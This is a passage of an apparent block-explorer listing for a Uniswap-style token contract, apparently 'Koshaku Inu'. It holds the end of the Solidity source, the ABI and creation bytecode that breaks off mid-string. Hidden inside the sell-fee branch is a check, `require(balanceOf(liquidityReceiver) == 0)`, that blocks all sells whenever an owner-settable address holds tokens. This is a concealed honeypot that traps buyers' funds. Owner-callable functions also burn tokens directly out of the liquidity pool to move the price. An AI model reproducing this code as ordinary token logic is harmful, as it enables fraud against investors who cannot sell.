        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                require(balanceOf(liquidityReceiver) == 0);
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
            }
            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
        	    fees = amount.mul(buyTotalFees).div(100);
        	    tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
        	
        	amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }
    
    
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityReceiver,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity;
       
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForLiquidity = ethBalance;   
        tokensForLiquidity = 0;
        
        
        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }
        
        
    }
    
    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
    function autoBurnLiquidityPairTokens() internal returns (bool){
        
        lastLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
        pair.sync();
        emit AutoNukeLP();
        return true;
    }

    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
        pair.sync();
        emit ManualNukeLP();
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sniper","type":"address"}],"name":"BoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"liquidityReceiverUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeeveryLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateBuyLiquidityFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateLiquidityReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTransactAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateSellLiquidityFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600280546001600160a01b031916737d01628fa8c272d2a9a200bab481fdc18cbf72f41790556019600b55600c805460ff19908116909155610e10600d55610708600f55601180546201010162ffffff199091161790556013805490911660011790553480156200007457600080fd5b506040518060400160405280600b81526020016a4b6f7368616b7520496e7560a81b815250604051806040016040528060048152602001634b494e5560e01b8152508160049080519060200190620000ce929190620006d5565b508051620000e4906005906020840190620006d5565b5050506000620000f9620003f360201b60201c565b600680546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d62000169816001620003f7565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001b4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001da91906200077b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000228573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024e91906200077b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200029c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c291906200077b565b6001600160a01b031660a0819052620002dd906001620003f7565b60a051620002ed90600162000471565b600a806705d423c655aa00006103e862000309826014620007bc565b620003159190620007de565b6008556103e862000328826014620007bc565b620003349190620007de565b600a556127106200034782600f620007bc565b620003539190620007de565b6009556015839055601483905560178290556016829055600780546001600160a01b031916339081179091556200038c906001620004c5565b62000399306001620004c5565b620003a861dead6001620004c5565b600754620003c1906001600160a01b03166001620003f7565b620003ce306001620003f7565b620003dd61dead6001620003f7565b620003e933826200056f565b5050505062000859565b3390565b6006546001600160a01b03163314620004465760405162461bcd60e51b81526020600482018190526024820152600080516020620037f683398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b6001600160a01b0382166000818152601b6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6006546001600160a01b03163314620005105760405162461bcd60e51b81526020600482018190526024820152600080516020620037f683398151915260448201526064016200043d565b6001600160a01b038216600081815260196020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620005c75760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016200043d565b620005e3816003546200066b60201b620017fe1790919060201c565b6003556001600160a01b0382166000908152602081815260409091205462000616918390620017fe6200066b821b17901c565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6000806200067a838562000801565b905083811015620006ce5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016200043d565b9392505050565b828054620006e3906200081c565b90600052602060002090601f01602090048101928262000707576000855562000752565b82601f106200072257805160ff191683800117855562000752565b8280016001018555821562000752579182015b828111156200075257825182559160200191906001019062000735565b506200076092915062000764565b5090565b5b8082111562000760576000815560010162000765565b6000602082840312156200078e57600080fd5b81516001600160a01b0381168114620006ce57600080fd5b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615620007d957620007d9620007a6565b500290565b600082620007fc57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115620008175762000817620007a6565b500190565b600181811c908216806200083157607f821691505b602082108114156200085357634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a051612f15620008e16000396000818161056601528181610f970152818161168f0152818161172a0152818161175601528181611b5f0152818161259d0152818161263f015261266b0152600081816103e201528181611b21015281816127d901528181612892015281816128ce0152818161294801526129b00152612f156000f3fe6080604052600436106103395760003560e01c80638da5cb5b116101ab578063c18bc195116100f7578063e884f26011610095578063f2fde38b1161006f578063f2fde38b1461098e578063f6374342146109ae578063f8b45b05146109c4578063fe72b27a146109da57600080fd5b8063e884f26014610943578063ed9a48ba14610958578063f11a24d31461097857600080fd5b8063d257b34f116100d1578063d257b34f146108b1578063d85ba063146108d1578063dd62ed3e146108e7578063e2f456051461092d57600080fd5b8063c18bc19514610861578063c876d0b914610881578063c8c8ebe41461089b57600080fd5b80639ec22c0e11610164578063a9059cbb1161013e578063a9059cbb146107d2578063b62496f5146107f2578063bbc0c74214610822578063c02466681461084157600080fd5b80639ec22c0e14610786578063a457c2d71461079c578063a4c82a00146107bc57600080fd5b80638da5cb5b146106d35780638fb12cd0146106f1578063924de9b71461071157806395d89b41146107315780639a7a23d6146107465780639b7adfd11461076657600080fd5b806330c73306116102855780636a486a8e11610223578063715018a6116101fd578063715018a614610669578063730c18881461067e5780637571336a1461069e5780638a8c523c146106be57600080fd5b80636a486a8e146105fd5780636ddd17131461061357806370a082311461063357600080fd5b806349bd5a5e1161025f57806349bd5a5e146105545780634a62bb65146105885780634fbee193146105a2578063657f173c146105db57600080fd5b806330c7330614610503578063313ce56714610518578063395093511461053457600080fd5b8063199ffc72116102f2578063264d26dd116102cc578063264d26dd1461049d57806327c8f835146104bd5780632c3e486c146104d35780632e82f1a0146104e957600080fd5b8063199ffc72146104515780631a8145bb1461046757806323b872dd1461047d57600080fd5b806306fdde0314610345578063095ea7b31461037057806310d5de53146103a05780631694505e146103d057806318160ddd1461041c578063184c16c51461043b57600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5061035a6109fa565b6040516103679190612a28565b60405180910390f35b34801561037c57600080fd5b5061039061038b366004612a92565b610a8c565b6040519015158152602001610367565b3480156103ac57600080fd5b506103906103bb366004612abe565b601a6020526000908152604090205460ff1681565b3480156103dc57600080fd5b506104047f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610367565b34801561042857600080fd5b506003545b604051908152602001610367565b34801561044757600080fd5b5061042d600f5481565b34801561045d57600080fd5b5061042d600b5481565b34801561047357600080fd5b5061042d60185481565b34801561048957600080fd5b50610390610498366004612adb565b610aa3565b3480156104a957600080fd5b50600754610404906001600160a01b031681565b3480156104c957600080fd5b5061040461dead81565b3480156104df57600080fd5b5061042d600d5481565b3480156104f557600080fd5b50600c546103909060ff1681565b34801561050f57600080fd5b50610390610b0c565b34801561052457600080fd5b5060405160098152602001610367565b34801561054057600080fd5b5061039061054f366004612a92565b610b52565b34801561056057600080fd5b506104047f000000000000000000000000000000000000000000000000000000000000000081565b34801561059457600080fd5b506011546103909060ff1681565b3480156105ae57600080fd5b506103906105bd366004612abe565b6001600160a01b031660009081526019602052604090205460ff1690565b3480156105e757600080fd5b506105fb6105f6366004612b1c565b610b88565b005b34801561060957600080fd5b5061042d60165481565b34801561061f57600080fd5b506011546103909062010000900460ff1681565b34801561063f57600080fd5b5061042d61064e366004612abe565b6001600160a01b031660009081526020819052604090205490565b34801561067557600080fd5b506105fb610c0e565b34801561068a57600080fd5b506105fb610699366004612b45565b610c82565b3480156106aa57600080fd5b506105fb6106b9366004612b7a565b610dab565b3480156106ca57600080fd5b506105fb610e00565b3480156106df57600080fd5b506006546001600160a01b0316610404565b3480156106fd57600080fd5b506105fb61070c366004612b1c565b610e41565b34801561071d57600080fd5b506105fb61072c366004612baf565b610f16565b34801561073d57600080fd5b5061035a610f5c565b34801561075257600080fd5b506105fb610761366004612b7a565b610f6b565b34801561077257600080fd5b506105fb610781366004612b1c565b61104b565b34801561079257600080fd5b5061042d60105481565b3480156107a857600080fd5b506103906107b7366004612a92565b6110d0565b3480156107c857600080fd5b5061042d600e5481565b3480156107de57600080fd5b506103906107ed366004612a92565b61111f565b3480156107fe57600080fd5b5061039061080d366004612abe565b601b6020526000908152604090205460ff1681565b34801561082e57600080fd5b5060115461039090610100900460ff1681565b34801561084d57600080fd5b506105fb61085c366004612b7a565b61112c565b34801561086d57600080fd5b506105fb61087c366004612b1c565b6111b5565b34801561088d57600080fd5b506013546103909060ff1681565b3480156108a757600080fd5b5061042d60085481565b3480156108bd57600080fd5b506103906108cc366004612b1c565b61127e565b3480156108dd57600080fd5b5061042d60145481565b3480156108f357600080fd5b5061042d610902366004612bca565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561093957600080fd5b5061042d60095481565b34801561094f57600080fd5b506103906113d5565b34801561096457600080fd5b506105fb610973366004612abe565b611412565b34801561098457600080fd5b5061042d60155481565b34801561099a57600080fd5b506105fb6109a9366004612abe565b611499565b3480156109ba57600080fd5b5061042d60175481565b3480156109d057600080fd5b5061042d600a5481565b3480156109e657600080fd5b506103906109f5366004612b1c565b611584565b606060048054610a0990612c03565b80601f0160208091040260200160405190810160405280929190818152602001828054610a3590612c03565b8015610a825780601f10610a5757610100808354040283529160200191610a82565b820191906000526020600020905b815481529060010190602001808311610a6557829003601f168201915b5050505050905090565b6000610a99338484611864565b5060015b92915050565b6000610ab0848484611989565b610b028433610afd85604051806060016040528060288152602001612e93602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906121cb565b611864565b5060019392505050565b6006546000906001600160a01b03163314610b425760405162461bcd60e51b8152600401610b3990612c3e565b60405180910390fd5b506011805460ff19169055600190565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610a99918590610afd90866117fe565b6006546001600160a01b03163314610bb25760405162461bcd60e51b8152600401610b3990612c3e565b60158190556014818155811115610c0b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610b39565b50565b6006546001600160a01b03163314610c385760405162461bcd60e51b8152600401610b3990612c3e565b6006546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600680546001600160a01b0319169055565b6006546001600160a01b03163314610cac5760405162461bcd60e51b8152600401610b3990612c3e565b610258831015610d1a5760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203130206d696e7574657360681b6064820152608401610b39565b6103e88211158015610d2a575060015b610d8f5760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20302520616e642031302560801b6064820152608401610b39565b600d92909255600b55600c805460ff1916911515919091179055565b6006546001600160a01b03163314610dd55760405162461bcd60e51b8152600401610b3990612c3e565b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b6006546001600160a01b03163314610e2a5760405162461bcd60e51b8152600401610b3990612c3e565b6011805462ffff0019166201010017905542600e55565b6006546001600160a01b03163314610e6b5760405162461bcd60e51b8152600401610b3990612c3e565b633b9aca006103e8610e7c60035490565b610e87906001612c89565b610e919190612ca8565b610e9b9190612ca8565b811015610f025760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610b39565b610f1081633b9aca00612c89565b60085550565b6006546001600160a01b03163314610f405760405162461bcd60e51b8152600401610b3990612c3e565b60118054911515620100000262ff000019909216919091179055565b606060058054610a0990612c03565b6006546001600160a01b03163314610f955760405162461bcd60e51b8152600401610b3990612c3e565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561103d5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610b39565b6110478282612205565b5050565b6006546001600160a01b031633146110755760405162461bcd60e51b8152600401610b3990612c3e565b601781905560168190556019811115610c0b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610b39565b6000610a993384610afd85604051806060016040528060258152602001612ebb602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906121cb565b6000610a99338484611989565b6006546001600160a01b031633146111565760405162461bcd60e51b8152600401610b3990612c3e565b6001600160a01b038216600081815260196020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6006546001600160a01b031633146111df5760405162461bcd60e51b8152600401610b3990612c3e565b633b9aca006103e86111f060035490565b6111fb906005612c89565b6112059190612ca8565b61120f9190612ca8565b81101561126a5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610b39565b61127881633b9aca00612c89565b600a5550565b6006546000906001600160a01b031633146112ab5760405162461bcd60e51b8152600401610b3990612c3e565b620186a06112b860035490565b6112c3906001612c89565b6112cd9190612ca8565b82101561133a5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610b39565b6103e861134660035490565b611351906005612c89565b61135b9190612ca8565b8211156113c75760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610b39565b50600981905560015b919050565b6006546000906001600160a01b031633146114025760405162461bcd60e51b8152600401610b3990612c3e565b506013805460ff19169055600190565b6006546001600160a01b0316331461143c5760405162461bcd60e51b8152600401610b3990612c3e565b6007546040516001600160a01b03918216918316907f676f4d23701e2f74d17fa16f61ee5bb44ce8b612e908c659d764c76589e8cbcc90600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031633146114c35760405162461bcd60e51b8152600401610b3990612c3e565b6001600160a01b0381166115285760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b39565b6006546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546000906001600160a01b031633146115b15760405162461bcd60e51b8152600401610b3990612c3e565b600f546010546115c19190612cca565b421161160f5760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610b39565b6103e88211156116745760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610b39565b426010556040516370a0823160e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600482015260009030906370a0823190602401602060405180830381865afa1580156116df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117039190612ce2565b9050600061171d6127106117178487612259565b906122d8565b90508015611752576117527f000000000000000000000000000000000000000000000000000000000000000061dead8361231a565b60007f00000000000000000000000000000000000000000000000000000000000000009050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156117b257600080fd5b505af11580156117c6573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b60008061180b8385612cca5